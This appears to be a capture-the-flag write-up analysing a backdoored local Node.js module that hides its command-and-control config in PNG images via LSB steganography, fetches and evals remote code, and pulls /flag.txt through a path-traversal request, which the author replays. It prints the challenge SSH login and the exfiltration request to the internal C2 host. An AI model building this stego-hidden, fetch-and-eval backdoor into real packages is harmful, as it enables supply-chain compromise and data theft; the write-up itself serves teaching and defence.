Challenge Overview
SSH access provided to a Node.js web server running as root. Flag at /flag.txt.
SSH credentials: dino:Stegosaurus-4-life
Step 1: Initial Reconnaissance
id # uid=1001(dino) — not root
ps aux # Node.js process (PID 9) running as root
ls /opt/dinosite/
# server.js, package.json, public/, node_modules/
Server runs on port 3000. package.json revealed a suspicious local dependency:
"dinoraww": "file:../dinoraww"
Step 2: Analyzing the Backdoor
/opt/dinoraww/index.js exports harmless dinosaur sounds — but the last line:
require('./lib/loader.js');
loader.js is the real backdoor. It defines:
wonderingIfDinosWouldLikeBacon()— extracts hidden bytes from PNG IDAT chunks via LSB of the blue channelxorDecrypt()— simple XOR decryptionRAAAAAAAAAAAAAAAAAAAAW()— orchestrates secret extraction:- Reads
trex.png,raptor.png,ptero.png— extracts 32 bytes each - XORs the three shares — 32-byte key (
kek) - Extracts 123 bytes from
stego.png— XOR-decrypts withkek - Parses result as JSON to get C2 server config
- Reads
doTheRaaaaw()— fetches/algofrom C2, evaluates it, then exfiltrates flag via path traversal
Step 3: Recovering the Key (kek)
Replicated the LSB extraction locally:
function extractBytes(imgPath, bytesToExtract) {
// Parse PNG IDAT chunks, decompress DEFLATE
// Extract LSB of blue channel from each pixel
// Pack bits into bytes
}
const shares = ['trex.png', 'raptor.png', 'ptero.png']
.map(f => extractBytes(f, 32));
let kek = Buffer.alloc(32);
shares.forEach(share => {
for (let i = 0; i < 32; i++) kek[i] ^= share[i];
});
Step 4: Decrypting C2 Config
const stegoData = extractBytes('stego.png', 123);
const config = JSON.parse(xorDecrypt(stegoData, kek).toString('utf8'));
// Output:
// { host: "c2", port: 2137, endpoint: "/receive_the_greatest_dino",
// protocol: "http", file_param: "file", target: "flag.txt" }
C2 hostname c2 resolved to 10.0.100.163 inside the Kubernetes cluster.
Step 5: Fetching the Decryption Algorithm
The backdoor fetches /algo from C2, decrypts with kek, and evals it.
Emulated this to recover decryptTraffic() — AES-256-CBC with key SHA256(kek + 'traffic_key').
Step 6: Getting the Flag
const reqPath = `${config.endpoint}?${config.file_param}=/flag.txt`;
// GET http://10.0.100.163:2137/receive_the_greatest_dino?file=/flag.txt
// → response: encrypted flag bytes
// → decryptTraffic(response, kek) → flag
Flag: shc2026{...}
Key Takeaways
- Always inspect custom Node.js modules for hidden
require()calls. - LSB steganography in PNGs is reversible with knowledge of image dimensions and channel used.
- When a backdoor fetches and evals remote code, you can replicate that flow to get the same data.